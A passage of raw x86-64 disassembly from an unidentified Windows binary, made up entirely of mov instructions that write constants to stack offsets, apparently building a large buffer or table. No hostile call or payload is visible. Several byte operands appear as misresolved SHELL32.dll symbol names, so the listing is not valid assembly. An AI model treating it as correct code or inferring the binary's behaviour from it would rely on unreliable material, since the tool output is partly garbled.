mov dword [rsp + 0x7504], 0x2355
mov dword [rsp + 0x7508], 0x499d
mov byte [rsp + 0x200], 0xe2
mov dword [rsp + 0x750c], 0x1992
mov dword [rsp + 0x7510], 0x81d
mov byte [rsp + 0x201], 0x4d
mov dword [rsp + 0x7514], 0x1bd3
mov dword [rsp + 0x7518], 0xaace
mov byte [rsp + 0x202], 0x7b
mov byte [rsp + 0x203], 0xcc
mov byte [rsp + 0x204], 0x7b
mov dword [rsp + 0x751c], 0x6d85
mov dword [rsp + 0x7520], 0x38b4
mov dword [rsp + 0x7524], 0x8df9
mov dword [rsp + 0x7528], 0xfbf5
mov byte [rsp + 0x205], 0xbd
mov byte [rsp + 0x206], 0x79
mov dword [rsp + 0x752c], 0x4388
mov eax, 0xf15
mov word [rsp + 0x19b4], ax
mov eax, 0x2b0
mov word [rsp + 0x19b8], ax
mov eax, 0x126
mov word [rsp + 0x19bc], ax
mov byte [rsp + 0x207], 0xd8
mov eax, 0xfcb
mov word [rsp + 0x19c0], ax
mov eax, 0x237
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x7530], 0x3d16
mov dword [rsp + 0x7534], 0x465e
mov eax, 0x181
mov word [rsp + 0x19c8], ax
mov dword [rsp + 0x7538], 0x808f
mov dword [rsp + 0x753c], 0x5597
mov eax, 0x80
mov word [rsp + 0x19cc], ax
mov dword [rsp + 0x7540], 0x7b3f
mov dword [rsp + 0x7544], 0xaf34
mov dword [rsp + 0x7548], 0x1cb
mov eax, 0xd62
mov word [rsp + 0x19d0], ax
mov eax, 0xca4
mov word [rsp + 0x19d4], ax
mov dword [rsp + 0x754c], 0x52a4
mov byte [rsp + 0x208], SHDoDragDrop
mov dword [rsp + 0x7550], 0x69b
mov dword [rsp + 0x7554], 0x7cf5
mov eax, 0x500
mov word [rsp + 0x19d8], ax
mov eax, 0x6c4
mov word [rsp + 0x19dc], ax
mov dword [rsp + 0x7558], 0xa9df
mov byte [rsp + 0x209], 0xec
mov byte [rsp + 0x20a], 0xe8
mov dword [rsp + 0x755c], 0x6e7b
mov eax, 0xd88
mov word [rsp + 0x19e0], ax
mov dword [rsp + 0x7560], 0x6398
mov byte [rsp + 0x20b], SHDoDragDrop
mov byte [rsp + 0x20c], 0x1b
mov dword [rsp + 0x7564], 0xac1a
mov dword [rsp + 0x7568], 0x693c
mov byte [rsp + 0x20d], 0xf0
mov byte [rsp + 0x20e], 8
mov eax, 0x904
mov word [rsp + 0x19e4], ax
mov dword [rsp + 0x756c], 0x1956
mov byte [rsp + 0x20f], 0xa5
mov dword [rsp + 0x7570], 0x1f3
mov eax, 0x6eb
mov word [rsp + 0x19e8], ax
mov dword [rsp + 0x7574], 0x4cc2
mov dword [rsp + 0x7578], 0x403b
mov dword [rsp + 0x757c], 0x790b
mov dword [rsp + 0x7580], 0xfe6
mov byte [rsp + 0x210], 0x7a
mov dword [rsp + 0x7584], 0xccc
mov dword [rsp + 0x7588], 0x4b27
mov dword [rsp + 0x758c], 0x33fb
mov dword [rsp + 0x7590], 0x4d00
mov dword [rsp + 0x7594], 0x2ee8
mov dword [rsp + 0x7598], 0x549a
mov dword [rsp + 0x759c], 0xfb
mov dword [rsp + 0x75a0], 0x5bea
mov dword [rsp + 0x75a4], 0xcc79
mov dword [rsp + 0x75a8], 0x72b9
mov dword [rsp + 0x75ac], 0x9d05
mov eax, 0xf00
mov word [rsp + 0x19ec], ax
mov byte [rsp + 0x211], 0x7f
mov byte [rsp + 0x212], 0x72
mov dword [rsp + 0x75b0], 0x2370
mov dword [rsp + 0x75b4], 0x1d05
mov byte [rsp + 0x213], 0x3c
mov dword [rsp + 0x75b8], 0x132a
mov eax, 0xf87
mov word [rsp + 0x19f0], ax
mov dword [rsp + 0x75bc], 0x2df8
mov dword [rsp + 0x75c0], 0xd54b
mov dword [rsp + 0x75c4], 0x5504
mov eax, 0x4f0
mov word [rsp + 0x19f4], ax
mov dword [rsp + 0x75c8], 0x869e
mov eax, 0x5f6
mov word [rsp + 0x19f8], ax
mov dword [rsp + 0x75cc], 0x5c14
mov dword [rsp + 0x75d0], 0x332a
mov byte [rsp + 0x214], SHDoDragDrop
mov dword [rsp + 0x75d4], 0x61f9
mov dword [rsp + 0x75d8], 0x1dcf
mov eax, 0x593
mov word [rsp + 0x19fc], ax
mov eax, 0x6f7
mov word [rsp + 0x1a00], ax
mov dword [rsp + 0x75dc], 0x4671
mov dword [rsp + 0x75e0], 0x6164
mov byte [rsp + 0x215], 0x8b
mov dword [rsp + 0x75e4], 0x63c5
mov dword [rsp + 0x75e8], 0x5713
mov dword [rsp + 0x75ec], 0x40d0
mov eax, 0x6be
mov word [rsp + 0x1a04], ax
mov dword [rsp + 0x75f0], 0x37ae
mov dword [rsp + 0x75f4], 0x1044
mov byte [rsp + 0x216], 0x33
mov byte [rsp + 0x217], 4
mov dword [rsp + 0x75f8], 0x5134
mov eax, 0x469
mov word [rsp + 0x1a08], ax
mov eax, 0xd64
mov word [rsp + 0x1a0c], ax
mov dword [rsp + 0x75fc], 0x1dfd
mov dword [rsp + 0x7600], 0x8eff
mov byte [rsp + 0x218], 0xb8
mov dword [rsp + 0x7604], 0x67c1
mov dword [rsp + 0x7608], 0x6dd1
mov dword [rsp + 0x760c], 0x40e1
mov dword [rsp + 0x7610], 0x3327
mov byte [rsp + 0x219], 0x75
mov dword [rsp + 0x7614], 0x7a3a
mov dword [rsp + 0x7618], 0x1788
mov dword [rsp + 0x761c], 0x13
mov dword [rsp + 0x7620], 0x74cd
mov dword [rsp + 0x7624], 0x3f4f
mov dword [rsp + 0x7628], 0x4e14
mov eax, 0x4e2
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x762c], 0x3d56
mov byte [rsp + 0x21a], reloc.SHELL32.dll_ILFree
mov dword [rsp + 0x7630], 0x4a41
mov byte [rsp + 0x21b], SHDoDragDrop
mov byte [rsp + 0x21c], 0xa
mov dword [rsp + 0x7634], 0x6501
mov eax, 0x271
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x7638], 0xa644
mov byte [rsp + 0x21d], 0x12
mov dword [rsp + 0x763c], 0x5a58
mov dword [rsp + 0x7640], 0x3ac4
mov dword [rsp + 0x7644], 0x7c0a
mov dword [rsp + 0x7648], 0x4061
mov dword [rsp + 0x764c], 0x5041
mov dword [rsp + 0x7650], 0x366d
mov dword [rsp + 0x7654], 0x8d17
mov eax, 0xa89
mov word [rsp + 0x1a18], ax
mov dword [rsp + 0x7658], 0xef14
mov dword [rsp + 0x765c], 0xb74a
mov dword [rsp + 0x7660], 0x44ba
mov dword [rsp + 0x7664], 0x7768
mov dword [rsp + 0x7668], 0x6437
mov dword [rsp + 0x766c], 0xcc6
mov dword [rsp + 0x7670], 0x7f87
mov dword [rsp + 0x7674], 0x4198
mov dword [rsp + 0x7678], 0x1244
mov eax, 0x309
mov word [rsp + 0x1a1c], ax
mov eax, 0x1ec
mov word [rsp + 0x1a20], ax
mov eax, 0x756
mov word [rsp + 0x1a24], ax
mov dword [rsp + 0x767c], 0x1e4f
mov dword [rsp + 0x7680], 0xf1fc
mov dword [rsp + 0x7684], 0xe651
mov dword [rsp + 0x7688], 0x77c8
mov eax, 0x665
mov word [rsp + 0x1a28], ax
mov byte [rsp + 0x21e], 0x70
mov dword [rsp + 0x768c], 0x674
mov eax, 0x5e7
mov word [rsp + 0x1a2c], ax
mov dword [rsp + 0x7690], 0x612a
mov eax, 0x8be
mov word [rsp + 0x1a30], ax
mov dword [rsp + 0x7694], 0x1056
mov byte [rsp + 0x21f], 0x27
mov dword [rsp + 0x7698], 0x7797
mov dword [rsp + 0x769c], 0x1643
mov dword [rsp + 0x76a0], 0xcad9
mov eax, 0x3bb
mov word [rsp + 0x1a34], ax
mov dword [rsp + 0x76a4], 0x3568
mov dword [rsp + 0x76a8], 0x7523
mov byte [rsp + 0x220], 0xf3
mov dword [rsp + 0x76ac], 0x90c5
mov dword [rsp + 0x76b0], 0xb124
mov dword [rsp + 0x76b4], 0x4657
mov byte [rsp + 0x221], 0x14
mov byte [rsp + 0x222], 0xb7
mov byte [rsp + 0x223], 0x18
mov byte [rsp + 0x224], 0xef
mov dword [rsp + 0x76b8], 0x72fd
mov dword [rsp + 0x76bc], 0x4786
mov byte [rsp + 0x225], 0xc0
mov eax, 0x632
mov word [rsp + 0x1a38], ax
mov dword [rsp + 0x76c0], 0x855a
mov byte [rsp + 0x226], 0x3b
mov dword [rsp + 0x76c4], 0xbf3f
mov byte [rsp + 0x227], 0x7e
mov byte [rsp + 0x228], 0x3d
mov dword [rsp + 0x76c8], 0xa41e
mov byte [rsp + 0x229], 0xea
mov byte [rsp + 0x22a], 0x38
mov eax, 0xf15
mov word [rsp + 0x1a3c], ax
mov dword [rsp + 0x76cc], 0x2a7f
mov eax, 0x7cc
mov word [rsp + 0x1a40], ax
mov eax, 0x99c
mov word [rsp + 0x1a44], ax
mov dword [rsp + 0x76d0], 0x7639
mov dword [rsp + 0x76d4], 0xb2b9
mov dword [rsp + 0x76d8], 0x6ea3
mov dword [rsp + 0x76dc], 0x7afc
mov dword [rsp + 0x76e0], 0x53e8
mov dword [rsp + 0x76e4], 0x4e0e
mov byte [rsp + 0x22b], ILFree
mov byte [rsp + 0x22c], SHSetInstanceExplorer
mov byte [rsp + 0x22d], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0x20
mov word [rsp + 0x1a48], ax
mov dword [rsp + 0x76e8], 0x30e9
mov dword [rsp + 0x76ec], 0x7117
mov dword [rsp + 0x76f0], 0xb74
mov byte [rsp + 0x22e], 0xeb
mov dword [rsp + 0x76f4], 0x68fb
mov dword [rsp + 0x76f8], 0x7f49
mov dword [rsp + 0x76fc], 0x6992
mov eax, 0x6aa
mov word [rsp + 0x1a4c], ax
mov dword [rsp + 0x7700], 0x4f30
mov dword [rsp + 0x7704], 0x209f
mov dword [rsp + 0x7708], 0x8fef
mov dword [rsp + 0x770c], 0x40a2
mov dword [rsp + 0x7710], 0x2108
mov eax, 0x75a
mov word [rsp + 0x1a50], ax
mov byte [rsp + 0x22f], 0xa2
mov eax, 0x8eb
mov word [rsp + 0x1a54], ax
mov dword [rsp + 0x7714], 0x1d39
mov eax, 0x67
mov word [rsp + 0x1a58], ax
mov dword [rsp + 0x7718], 0x4edc
mov dword [rsp + 0x771c], 0x28ef
mov dword [rsp + 0x7720], 0x5cc0
mov eax, 0x932
mov word [rsp + 0x1a5c], ax
mov byte [rsp + 0x230], SHDoDragDrop
mov dword [rsp + 0x7724], 0x4468
mov dword [rsp + 0x7728], 0x3a3f
mov dword [rsp + 0x772c], 0x342
mov byte [rsp + 0x231], 0x26
mov dword [rsp + 0x7730], 0x39c
mov byte [rsp + 0x232], 0x7b
mov dword [rsp + 0x7734], 0x6f4a
mov byte [rsp + 0x233], 0xbe
mov dword [rsp + 0x7738], 0xb651
mov eax, 0xd8e
mov word [rsp + 0x1a60], ax
mov byte [rsp + 0x234], 0x28
mov dword [rsp + 0x773c], 0x75d
mov dword [rsp + 0x7740], 0x3ff3
mov dword [rsp + 0x7744], 0x147d
mov dword [rsp + 0x7748], 0x6164
mov byte [rsp + 0x235], 0xbc
mov dword [rsp + 0x774c], 0xd41b
mov eax, 0x7d7
mov word [rsp + 0x1a64], ax
mov byte [rsp + 0x236], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x7750], 0x905b
mov eax, 0x1aa
mov word [rsp + 0x1a68], ax
mov eax, 0x410
mov word [rsp + 0x1a6c], ax
mov dword [rsp + 0x7754], 0x3378
mov dword [rsp + 0x7758], 0x64b8
mov byte [rsp + 0x237], SHDoDragDrop
mov eax, 0xc27
mov word [rsp + 0x1a70], ax
mov dword [rsp + 0x775c], 0xbf07
mov eax, 0x32b
mov word [rsp + 0x1a74], ax
mov byte [rsp + 0x238], 0x2f
mov dword [rsp + 0x7760], 0x1090
mov byte [rsp + 0x239], ILFree
mov eax, 0x540
mov word [rsp + 0x1a78], ax
mov byte [rsp + 0x23a], 0x6e
mov dword [rsp + 0x7764], 0x5f34
mov dword [rsp + 0x7768], 0x24f2
mov dword [rsp + 0x776c], 0x7460
mov byte [rsp + 0x23b], 0x38
mov eax, 0x645
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x7770], 0x796b
mov dword [rsp + 0x7774], 0x51c5
mov eax, 0x34
mov word [rsp + 0x1a80], ax
mov dword [rsp + 0x7778], 0x4d44
mov eax, 0xca6
mov word [rsp + 0x1a84], ax
mov eax, 0x540
mov word [rsp + 0x1a88], ax
mov dword [rsp + 0x777c], 0x617c
mov byte [rsp + 0x23c], 0x31
mov dword [rsp + 0x7780], 0xe8c6
mov dword [rsp + 0x7784], 0x99c
mov dword [rsp + 0x7788], 0x17ef
mov dword [rsp + 0x778c], 0x73e2
mov dword [rsp + 0x7790], 0x7cba
mov dword [rsp + 0x7794], 0x5360
mov dword [rsp + 0x7798], 0x6865
mov eax, 0x521
mov word [rsp + 0x1a8c], ax
mov dword [rsp + 0x779c], 0x7d5c
mov dword [rsp + 0x77a0], 0x7101
mov dword [rsp + 0x77a4], 0xdd07
mov dword [rsp + 0x77a8], 0x1e29
mov byte [rsp + 0x23d], 6
mov dword [rsp + 0x77ac], 0x5e88
mov byte [rsp + 0x23e], 0xda
mov eax, 0xd2f
mov word [rsp + 0x1a90], ax
mov byte [rsp + 0x23f], SHDoDragDrop
mov eax, 0x2fe
mov word [rsp + 0x1a94], ax
mov eax, 0xca8
mov word [rsp + 0x1a98], ax
mov byte [rsp + 0x240], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x241], 0xd5
mov dword [rsp + 0x77b0], 0x511b
mov dword [rsp + 0x77b4], 0xe6a4
mov eax, 0x709
mov word [rsp + 0x1a9c], ax
mov dword [rsp + 0x77b8], 0x2412
mov dword [rsp + 0x77bc], 0x7a62
mov eax, 0x37e
mov word [rsp + 0x1aa0], ax
mov dword [rsp + 0x77c0], 0x3037
mov dword [rsp + 0x77c4], 0x6dba
mov dword [rsp + 0x77c8], 0x3579
mov dword [rsp + 0x77cc], 0x4963
mov byte [rsp + 0x242], 0x2d
mov dword [rsp + 0x77d0], 0x6583
mov eax, 0x3ae
mov word [rsp + 0x1aa4], ax
mov dword [rsp + 0x77d4], 0xc1fd
mov dword [rsp + 0x77d8], 0x470a
mov eax, 0x884
mov word [rsp + 0x1aa8], ax
mov dword [rsp + 0x77dc], 0x52f1
mov dword [rsp + 0x77e0], 0x49e2
mov dword [rsp + 0x77e4], 0x1c8d
mov eax, 0x2be
mov word [rsp + 0x1aac], ax
mov dword [rsp + 0x77e8], 0x1ee6
mov byte [rsp + 0x243], 0x76
mov byte [rsp + 0x244], 0xef
mov byte [rsp + 0x245], 0x71
mov dword [rsp + 0x77ec], 0xa031
mov eax, 0xf44
mov word [rsp + 0x1ab0], ax
mov byte [rsp + 0x246], 0xa5
mov byte [rsp + 0x247], 0x6c
mov eax, 0x6a7
mov word [rsp + 0x1ab4], ax
mov dword [rsp + 0x77f0], 0x6f46
mov dword [rsp + 0x77f4], 0x6dd9
mov byte [rsp + 0x248], 0xe0
mov eax, 0xa6d
mov word [rsp + 0x1ab8], ax
mov dword [rsp + 0x77f8], 0x593e
mov dword [rsp + 0x77fc], 0x3433
mov dword [rsp + 0x7800], 0xb4cf
mov byte [rsp + 0x249], 0x67
mov dword [rsp + 0x7804], 0x63cc
mov dword [rsp + 0x7808], 0x2aa2
mov dword [rsp + 0x780c], 0x574a
mov dword [rsp + 0x7810], 0x72ae
mov dword [rsp + 0x7814], 0x476e
mov dword [rsp + 0x7818], 0x3ff6
mov byte [rsp + 0x24a], 0x1a
mov eax, 0x64d
mov word [rsp + 0x1abc], ax
mov dword [rsp + 0x781c], 0x677c
mov byte [rsp + 0x24b], 0xea
mov eax, 0xb11
mov word [rsp + 0x1ac0], ax
mov dword [rsp + 0x7820], 0x6054
mov byte [rsp + 0x24c], 0x27
mov byte [rsp + 0x24d], 0x7e
mov eax, 0xd92
mov word [rsp + 0x1ac4], ax
mov dword [rsp + 0x7824], 0x4631
mov byte [rsp + 0x24e], 0xc1
mov byte [rsp + 0x24f], 0x89
mov dword [rsp + 0x7828], 0x1ca7
mov byte [rsp + 0x250], ILFree
mov byte [rsp + 0x251], 0x41
mov dword [rsp + 0x782c], 0xae4a
mov dword [rsp + 0x7830], 0x5afa
mov dword [rsp + 0x7834], 0x1d13
mov dword [rsp + 0x7838], 0x1805
mov byte [rsp + 0x252], 0x40
mov dword [rsp + 0x783c], 0xbfc0
mov eax, 0x411
mov word [rsp + 0x1ac8], ax
mov dword [rsp + 0x7840], 0xc11d
mov dword [rsp + 0x7844], 0xef4a
mov dword [rsp + 0x7848], 0xf829
mov byte [rsp + 0x253], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x254], 0x6e
mov dword [rsp + 0x784c], 0x2a19
mov dword [rsp + 0x7850], 0x20ac
mov dword [rsp + 0x7854], 0x655a
mov dword [rsp + 0x7858], 0x58e1
mov dword [rsp + 0x785c], 0x1134
mov byte [rsp + 0x255], 0x78
mov dword [rsp + 0x7860], 0xcf8f
mov eax, 0x93
mov word [rsp + 0x1acc], ax
mov byte [rsp + 0x256], 0x6d
mov dword [rsp + 0x7864], 0x1a2
mov dword [rsp + 0x7868], 0x40fb
mov dword [rsp + 0x786c], 0x695
mov dword [rsp + 0x7870], 0xf0b
mov byte [rsp + 0x257], 0x21
mov dword [rsp + 0x7874], 0xfcaa
mov dword [rsp + 0x7878], 0xd6d
mov byte [rsp + 0x258], 0x89
mov dword [rsp + 0x787c], 0x6ba6
mov dword [rsp + 0x7880], 0x78c4
mov dword [rsp + 0x7884], 0x4136
mov dword [rsp + 0x7888], 0x3d0b
mov dword [rsp + 0x788c], 0x34a8
mov dword [rsp + 0x7890], 0xf8ee
mov byte [rsp + 0x259], 0x75
mov eax, 0x6f8
mov word [rsp + 0x1ad0], ax
mov eax, 0xc5f
mov word [rsp + 0x1ad4], ax
mov dword [rsp + 0x7894], 0xcea7
mov dword [rsp + 0x7898], 0x423
mov dword [rsp + 0x789c], 0x73ba
mov dword [rsp + 0x78a0], 0x2320
mov dword [rsp + 0x78a4], 0x804
mov dword [rsp + 0x78a8], 0x8e46
mov dword [rsp + 0x78ac], 0xdb3b
mov dword [rsp + 0x78b0], 0x2c3e
mov byte [rsp + 0x25a], SHDoDragDrop
mov dword [rsp + 0x78b4], 0x37ae
mov dword [rsp + 0x78b8], 0xf0c3
mov dword [rsp + 0x78bc], 0x2f48
mov byte [rsp + 0x25b], 0x77
mov dword [rsp + 0x78c0], 0xff19
mov dword [rsp + 0x78c4], 0x74d7
mov byte [rsp + 0x25c], 0x61
mov byte [rsp + 0x25d], 0x77
mov byte [rsp + 0x25e], 0x5a
mov dword [rsp + 0x78c8], 0xa49
mov dword [rsp + 0x78cc], 0x83d
mov byte [rsp + 0x25f], 0x1f
mov eax, 0xe23
mov word [rsp + 0x1ad8], ax
mov dword [rsp + 0x78d0], 0x4167
mov eax, 0xaa1
mov word [rsp + 0x1adc], ax
mov dword [rsp + 0x78d4], 0x6118
mov dword [rsp + 0x78d8], 0x23b1
mov byte [rsp + 0x260], 0x15
mov byte [rsp + 0x261], 8
mov byte [rsp + 0x262], 0x71
mov eax, 0xcba
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x78dc], 0x21d5
mov dword [rsp + 0x78e0], 0x20b5
mov dword [rsp + 0x78e4], 0x5f31
mov eax, 0x104
mov word [rsp + 0x1ae4], ax
mov dword [rsp + 0x78e8], 0x2598
mov eax, 0x683
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x78ec], 0x810
mov dword [rsp + 0x78f0], 0xaf78
mov dword [rsp + 0x78f4], 0x7113
mov dword [rsp + 0x78f8], 0x8f6a
mov dword [rsp + 0x78fc], 0x80d0
mov dword [rsp + 0x7900], 0x92b8
mov dword [rsp + 0x7904], 0xf0af
mov eax, 0x42
mov word [rsp + 0x1aec], ax
mov byte [rsp + 0x263], 0x74
mov dword [rsp + 0x7908], 0x4b05
mov dword [rsp + 0x790c], 0x19d0
mov dword [rsp + 0x7910], 0x1748
mov dword [rsp + 0x7914], 0x5366
mov byte [rsp + 0x264], 0xda
mov byte [rsp + 0x265], 0x81
mov dword [rsp + 0x7918], 0x2d09
mov dword [rsp + 0x791c], 0x745
mov dword [rsp + 0x7920], 0xba5
mov byte [rsp + 0x266], 9
mov eax, 0x1d
mov word [rsp + 0x1af0], ax
mov byte [rsp + 0x267], 0xe0
mov eax, 0x53a
mov word [rsp + 0x1af4], ax
mov dword [rsp + 0x7924], 0xea7b
mov eax, 0x1f6
mov word [rsp + 0x1af8], ax
mov eax, 0x24
mov word [rsp + 0x1afc], ax
mov dword [rsp + 0x7928], 0x47d
mov dword [rsp + 0x792c], 0x4f9
mov eax, 0x4e5
mov word [rsp + 0x1b00], ax
mov eax, 0x2f
mov word [rsp + 0x1b04], ax
mov dword [rsp + 0x7930], 0xc7cc
mov dword [rsp + 0x7934], 0x4dca
mov dword [rsp + 0x7938], 0x50bc
mov eax, 0x2d9
mov word [rsp + 0x1b08], ax
mov dword [rsp + 0x793c], 0x57aa
mov dword [rsp + 0x7940], 0x1d41
mov dword [rsp + 0x7944], 0x208a
mov dword [rsp + 0x7948], 0xd263
mov dword [rsp + 0x794c], 0x5790
mov byte [rsp + 0x268], 0x34
mov dword [rsp + 0x7950], 0x15c3
mov dword [rsp + 0x7954], 0xf7c
mov dword [rsp + 0x7958], 0x49cd
mov eax, 0xb62
mov word [rsp + 0x1b0c], ax
mov dword [rsp + 0x795c], 0x427
mov byte [rsp + 0x269], 0xcc
mov eax, 0x2ef
mov word [rsp + 0x1b10], ax
mov eax, 0xc19
mov word [rsp + 0x1b14], ax
mov byte [rsp + 0x26a], 0xc0
mov dword [rsp + 0x7960], 0x60ae
mov dword [rsp + 0x7964], 0x20bf
mov eax, 0xd44
mov word [rsp + 0x1b18], ax
mov byte [rsp + 0x26b], 0x9f
mov byte [rsp + 0x26c], 0x7a
mov dword [rsp + 0x7968], 0x17dc
mov dword [rsp + 0x796c], 0xd6b
mov eax, 0xcaf
mov word [rsp + 0x1b1c], ax
mov dword [rsp + 0x7970], 0x75a3
mov dword [rsp + 0x7974], 0x42ca
mov eax, 0xf60
mov word [rsp + 0x1b20], ax
mov dword [rsp + 0x7978], 0x547c
mov dword [rsp + 0x797c], 0x911f
mov byte [rsp + 0x26d], 0x6f
mov dword [rsp + 0x7980], 0xac23
mov dword [rsp + 0x7984], 0x3b4d
mov dword [rsp + 0x7988], 0x41fd
mov dword [rsp + 0x798c], 0x5870
mov eax, 0xa0d
mov word [rsp + 0x1b24], ax
mov dword [rsp + 0x7990], 0x5efc
mov dword [rsp + 0x7994], 0xb6bb
mov dword [rsp + 0x7998], 0x7962
mov eax, 0x983
mov word [rsp + 0x1b28], ax
mov eax, 0x72d
mov word [rsp + 0x1b2c], ax
mov eax, 0xd69
mov word [rsp + 0x1b30], ax
mov dword [rsp + 0x799c], 0xabb
mov dword [rsp + 0x79a0], 0x51
mov dword [rsp + 0x79a4], 0x469a
mov dword [rsp + 0x79a8], 0x9575
mov dword [rsp + 0x79ac], 0x32d1
mov byte [rsp + 0x26e], DrawInsert
mov dword [rsp + 0x79b0], 0xc4f5
mov dword [rsp + 0x79b4], 0x716b
mov dword [rsp + 0x79b8], 0x67f0
mov dword [rsp + 0x79bc], 0x52f1
mov dword [rsp + 0x79c0], 0x2b07
mov dword [rsp + 0x79c4], 0x5e22
mov eax, 0x2f1
mov word [rsp + 0x1b34], ax
mov dword [rsp + 0x79c8], 0x28b3
mov byte [rsp + 0x26f], 0x5b
mov byte [rsp + 0x270], 0x23
mov dword [rsp + 0x79cc], 0x53e6
mov byte [rsp + 0x271], 6
mov dword [rsp + 0x79d0], 0x4443
mov byte [rsp + 0x272], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x273], 0x5a
mov eax, 0x28d
mov word [rsp + 0x1b38], ax
mov byte [rsp + 0x274], SHDoDragDrop
mov dword [rsp + 0x79d4], 0x69ef
mov byte [rsp + 0x275], 0x73
mov byte [rsp + 0x276], 0x21
mov byte [rsp + 0x277], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x79d8], 0x7c5d
mov dword [rsp + 0x79dc], 0x10d4
mov byte [rsp + 0x278], SHSetInstanceExplorer
mov eax, 0x441
mov word [rsp + 0x1b3c], ax
mov byte [rsp + 0x279], 0x38
mov byte [rsp + 0x27a], 0xa5
mov dword [rsp + 0x79e0], 0xf95c
mov dword [rsp + 0x79e4], 0x186
mov byte [rsp + 0x27b], 0xeb
mov dword [rsp + 0x79e8], 0x32a6
mov dword [rsp + 0x79ec], 0x9312
mov byte [rsp + 0x27c], 0x5f
mov dword [rsp + 0x79f0], 0x5741
mov eax, 0x74d
mov word [rsp + 0x1b40], ax
mov eax, 0x22c
mov word [rsp + 0x1b44], ax
mov eax, 0x24f
mov word [rsp + 0x1b48], ax
mov eax, 0x2c7
mov word [rsp + 0x1b4c], ax
mov byte [rsp + 0x27d], 0x11
mov eax, 0x6ad
mov word [rsp + 0x1b50], ax
mov byte [rsp + 0x27e], 0x90
mov byte [rsp + 0x27f], ILFree
mov byte [rsp + 0x280], 0xa5
mov dword [rsp + 0x79f4], 0x368e
mov eax, 0x1ca
mov word [rsp + 0x1b54], ax
mov dword [rsp + 0x79f8], 0xec98
mov eax, 0x1c3
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x79fc], 0x2ef3
mov dword [rsp + 0x7a00], 0x147
mov eax, 0xb19
mov word [rsp + 0x1b5c], ax
mov byte [rsp + 0x281], 0xdf
mov dword [rsp + 0x7a04], 0x5984
mov dword [rsp + 0x7a08], 0x7143
mov eax, 0x144
mov word [rsp + 0x1b60], ax
mov byte [rsp + 0x282], 0x38
mov dword [rsp + 0x7a0c], 0x3c3c
mov dword [rsp + 0x7a10], 0x1062
mov eax, 0x474
mov word [rsp + 0x1b64], ax
mov byte [rsp + 0x283], 0xef
mov eax, 0x5a0
mov word [rsp + 0x1b68], ax
mov dword [rsp + 0x7a14], 0x797d
mov dword [rsp + 0x7a18], 0x2170
mov dword [rsp + 0x7a1c], 0x5de4
mov dword [rsp + 0x7a20], 0x1e60
mov eax, 0xf6e
mov word [rsp + 0x1b6c], ax
mov dword [rsp + 0x7a24], 0x980
mov eax, 0x986
mov word [rsp + 0x1b70], ax
mov dword [rsp + 0x7a28], 0xc371
mov byte [rsp + 0x284], 0x60
mov dword [rsp + 0x7a2c], 0xa668
mov dword [rsp + 0x7a30], 0x6f40
mov dword [rsp + 0x7a34], 0x2d5c
mov eax, 0xd35
mov word [rsp + 0x1b74], ax
mov dword [rsp + 0x7a38], 0x1757
mov dword [rsp + 0x7a3c], 0x150c
mov dword [rsp + 0x7a40], 0x467d
mov dword [rsp + 0x7a44], 0x1b43
mov dword [rsp + 0x7a48], 0x29f4
mov eax, 0x193
mov word [rsp + 0x1b78], ax
mov dword [rsp + 0x7a4c], 0x4478
mov dword [rsp + 0x7a50], 0x71df
mov byte [rsp + 0x285], 5
mov dword [rsp + 0x7a54], 0xc21e
mov eax, 0x73c
mov word [rsp + 0x1b7c], ax
mov dword [rsp + 0x7a58], 0x7eef
mov dword [rsp + 0x7a5c], 0x5a0f
mov dword [rsp + 0x7a60], 0x5b08
mov byte [rsp + 0x286], 0x3b
mov dword [rsp + 0x7a64], 0x67f3
mov byte [rsp + 0x287], 0xbc
mov eax, 0x78b
mov word [rsp + 0x1b80], ax
mov eax, 0xf81
mov word [rsp + 0x1b84], ax
mov eax, 0xd28
mov word [rsp + 0x1b88], ax
mov dword [rsp + 0x7a68], 0x655e
mov byte [rsp + 0x288], SHDoDragDrop
mov dword [rsp + 0x7a6c], 0x53a5
mov dword [rsp + 0x7a70], 0x455a
mov dword [rsp + 0x7a74], 0x70ef
mov dword [rsp + 0x7a78], 0x731f
mov dword [rsp + 0x7a7c], 0x187a
mov dword [rsp + 0x7a80], 0x7c93
mov byte [rsp + 0x289], 0x72
mov dword [rsp + 0x7a84], 0x518
mov dword [rsp + 0x7a88], 0x12ed
mov dword [rsp + 0x7a8c], 0x50a5
mov byte [rsp + 0x28a], 0x66
mov eax, 0x408
mov word [rsp + 0x1b8c], ax
mov eax, 0x548
mov word [rsp + 0x1b90], ax
mov dword [rsp + 0x7a90], 0x8aa5
mov eax, 0x29c
mov word [rsp + 0x1b94], ax
mov dword [rsp + 0x7a94], 0x5f4f
mov dword [rsp + 0x7a98], 0x6a8a
mov byte [rsp + 0x28b], 0x82
mov eax, 0x402
mov word [rsp + 0x1b98], ax
mov eax, 0x9cc
mov word [rsp + 0x1b9c], ax
mov dword [rsp + 0x7a9c], 0xc6b6
mov byte [rsp + 0x28c], 0xc8
mov dword [rsp + 0x7aa0], 0x7745
mov dword [rsp + 0x7aa4], 0x6666
mov dword [rsp + 0x7aa8], 0xd0c2
mov eax, 0x562
mov word [rsp + 0x1ba0], ax
mov dword [rsp + 0x7aac], 0x21a3
mov eax, 0x664
mov word [rsp + 0x1ba4], ax
mov dword [rsp + 0x7ab0], 0x6adc
mov dword [rsp + 0x7ab4], 0x6223
mov eax, 0x7cb
mov word [rsp + 0x1ba8], ax
mov byte [rsp + 0x28d], 0x24
mov eax, 0x208
mov word [rsp + 0x1bac], ax
mov byte [rsp + 0x28e], 0x86
mov dword [rsp + 0x7ab8], 0xcc3
mov dword [rsp + 0x7abc], 0x6b2f
mov dword [rsp + 0x7ac0], 0x6faa
mov byte [rsp + 0x28f], 0x1e
mov dword [rsp + 0x7ac4], 0x2b4b
mov dword [rsp + 0x7ac8], 0x1f1d
mov dword [rsp + 0x7acc], 0x4b72
mov dword [rsp + 0x7ad0], 0xf2b3
